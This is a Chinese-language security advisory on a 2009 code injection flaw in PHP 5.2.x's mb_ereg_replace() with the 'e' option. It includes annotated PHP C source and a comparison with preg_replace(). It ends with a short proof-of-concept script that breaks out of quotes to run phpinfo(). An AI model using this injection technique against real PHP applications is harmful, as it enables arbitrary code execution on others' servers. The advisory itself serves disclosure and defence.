首页 -> 安全研究

安全研究

安全漏洞
PHP mb_ereg_replace()函数代码注入漏洞

发布日期:2009-05-07
更新日期:2009-05-08

受影响系统:
PHP PHP 5.2.x
描述:
BUGTRAQ  ID: 34873

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP所使用的mb_ereg_replace()函数是支持多字节的正则表达式替换函数,原型如下:

string mb_ereg_replace  ( string $pattern  , string $replacement  , string $string  [, string $option= "msr"  ] )

当指定mb_ereg(i)_replace()的option参数为e时,replacement参数在适当的逆向引用替换完后将作为php代码执行,但php在处理这一过程中存在安全隐患,可能导致绕过程序的逻辑执行任意代码。

mb_ereg_replace()的代码:

// php_mbregex.c
PHP_FUNCTION(mb_ereg_replace)
{
    _php_mb_regex_ereg_replace_exec(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0);
}
...
static void _php_mb_regex_ereg_replace_exec(INTERNAL_FUNCTION_PARAMETERS, OnigOptionType options)
{
...
    smart_str out_buf = { 0 };
    smart_str eval_buf = { 0 };
    smart_str *pbuf;
...
        if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "Zss|s",
                                    &arg_pattern_zval,
                                    &replace, &replace_len,
                                    &string, &string_len,
                                    &option_str, &option_str_len) == FAILURE) {
            RETURN_FALSE;
        }
...
    re = php_mbregex_compile_pattern(arg_pattern, arg_pattern_len, options, MBSTRG(current_mbctype), syntax TSRMLS_CC);
// 编译模式,编译后的模式存储在re_pattern_buffer结构
...
    if (eval) {
        pbuf = &eval_buf;
        description = zend_make_compiled_string_description("mbregex replace" TSRMLS_CC);
    } else {
        pbuf = &out_buf;
        description = NULL;
// *pbuf,eval_buf,out_buf都是smart_str结构,结构说明如下:
// typedef struct {
//     char *c;
//     size_t len;
//     size_t a;
// } smart_str;
    }

    /* do the actual work */
    err = 0;
    pos = string;
    string_lim = (OnigUChar*)(string + string_len);
    regs = onig_region_new();
// 分配内存,初始化re_registers结构,用于存储模式匹配值[num_regs成员为子模式匹配值个数,beg成员为模式及子模式匹配值的开始位,end成员为结束位]
    while (err >= 0) {
        err = onig_search(re, (OnigUChar *)string, (OnigUChar *)string_lim, pos, (OnigUChar *)string_lim, regs, 0);
// 依据编译好的模式进行匹配
...
            /* copy the part of the string before the match */
            smart_str_appendl(&out_buf, pos, (size_t)((OnigUChar *)(string + regs->beg[0]) - pos));
// 添加模式匹配值开始前的部分[用于函数的返回值]
            /* copy replacement and backrefs */
            i = 0;
            p = replace;
            while (i < replace_len) {
                int fwd = (int) php_mb_mbchar_bytes_ex(p, enc);
                n = -1;
                if ((replace_len - i) >= 2 && fwd == 1 &&
                    p[0] == '\\' && p[1] >= '0' && p[1] <= '9') {
                    n = p[1] - '0';
                }
                if (n >= 0 && n < regs->num_regs) {
                    if (regs->beg[n] >= 0 && regs->beg[n] < regs->end[n] && regs->end[n] <= string_len) {
                        smart_str_appendl(pbuf, string + regs->beg[n], regs->end[n] - regs->beg[n]);
// 如果使用逆向引用且存在相应的[子]模式匹配值,就调用smart_str_appendl添加[子]模式匹配值[调用memcpy把值copy到pbuf->c+pbuf->len]
                    }
                } else {
                    smart_str_appendl(pbuf, p, fwd);
                    p += fwd;
                    i += fwd;
                }
            }
...
            if (eval) {
                zval v;
                /* null terminate buffer */
                smart_str_appendc(&eval_buf, '\0');
                /* do eval */
                if (zend_eval_string(eval_buf.c, &v, description TSRMLS_CC) == FAILURE) {
                    efree(description);
                    php_error_docref(NULL TSRMLS_CC,E_ERROR, "Failed evaluating code: %s%s", PHP_EOL, eval_buf.c);
                    /* zend_error() does not return in this case */
                }

// 如果option指定为e,就调用zend_eval_string处理eval_buf.c,也就是pbuf->c[先编译成opcode,在调用zend_execute处理opcode]
//上面的代码mb_ereg_replace对所捕获的子模式的匹配值没有安全处理,直接调用zend_eval_string执行replace后的值.
//这样将引来一些安全隐患:比如可以引入'来闭合之前的' ,另外我们也可以引入nullbyte来截断后面的代码[zend_eval_string是not binary safe的]:)

为了对比说明这个安全漏洞我们同样来分析下preg_replace()在/e下执行php代码的处理过程:

//preg_replace()
...
            if (eval) {
                eval_result_len = preg_do_eval(replace, replace_len, subject,
                                               offsets, count, &eval_result TSRMLS_CC);
// 在e修正符模式下调用preg_do_eval
...
static int preg_do_eval(char *eval_str, int eval_str_len, char *subject,
                        int *offsets, int count, char **result TSRMLS_DC)
{
...
    smart_str    code = {0};
    
    eval_str_end = eval_str + eval_str_len;
    walk = segment = eval_str;
    walk_last = 0;

    while (walk < eval_str_end) {
        /* If found a backreference.. */
        if ('\\' == *walk || '$' == *walk) {
            smart_str_appendl(&code, segment, walk - segment);
            if (walk_last == '\\') {
                code.c[code.len-1] = *walk++;
                segment = walk;
                walk_last = 0;
                continue;
            }
            segment = walk;
            if (preg_get_backref(&walk, &backref)) {
                if (backref < count) {
                    /* Find the corresponding string match and substitute it
                       in instead of the backref */
                    match = subject + offsets[backref<<1];
                    match_len = offsets[(backref<<1)+1] - offsets[backref<<1];
                    if (match_len) {
                        esc_match = php_addslashes_ex(match, match_len, &esc_match_len, 0, 1 TSRMLS_CC);
// 如果使用逆向引用且存在相应的[子]模式匹配值,就对所捕获的[子]模式匹配值调用php_addslashes_ex
...
                smart_str_appendl(&code, esc_match, esc_match_len);
// 添加[子]模式匹配值
...
    smart_str_appendl(&code, segment, walk - segment);
    smart_str_0(&code);

    compiled_string_description = zend_make_compiled_string_description("regexp code" TSRMLS_CC);
    /* Run the code */
    if (zend_eval_string(code.c, &retval, compiled_string_description TSRMLS_CC) == FAILURE) {
        efree(compiled_string_description);
        php_error_docref(NULL TSRMLS_CC,E_ERROR, "Failed evaluating code: %s%s", PHP_EOL, code.c);
        /* zend_error() does not return in this case */
    }
// 调用zend_eval_string处理code.c

preg_replace()函数同样对所捕获的模式匹配值调用php_addslashes_ex。

从上面对mb_ereg_replace()代码分析看看出mb_ereg_replace()函数整个处理过程可以简单描述为:

检查参数,编译pattern,依据编译后的pattern对string进行匹配,如果存在匹配值把string中模式匹配值前面的部分添加到返回值,对模式匹配值进行替换,如果replacement中使用逆向引用且存在相应的子模式匹配值,替换replacement中的逆向引用。注意这里没对替换的模式及子模式匹配值做任何处理,另外这里其实并非替换,具体处理过程请看上面的源码。如果option没有指定e,就把replacement添加到返回值;如果指定e,把replacement作为php代码执行,并把代码执行后的返回值添加到返回值。把string中模式匹配值后面的部分添加到返回值,返回返回值。

通过对mb_ereg_replace()正则替换流程的分析及很多的应用程序的代码分析,发现很多程序员对正则表达式替换函数(包括preg_replace等函数)的处理过程不了解可能导致一些逻辑错误。例如如下代码:

<?php
$onlineip = 'ryat';
echo $onlineip = preg_replace("/^([\d\.]+).*/", "\\1", $onlineip);
?>

上面的代码直接输出ryat了,这是由于正则替换时,当不匹配时就会返回原值。

<*来源:80vul
  
  链接:http://www.80vul.com/pch/pch-003.txt
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
//mb_ereg(i)_replace() evaluate replacement string vulnerability
function ryat() {}

$str = '\', phpinfo(), \'';
mb_ereg_replace('^(.*)$', 'ryat(\'\1\')', $str, 'e');

?>

建议:
厂商补丁:

PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

浏览次数:4052
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障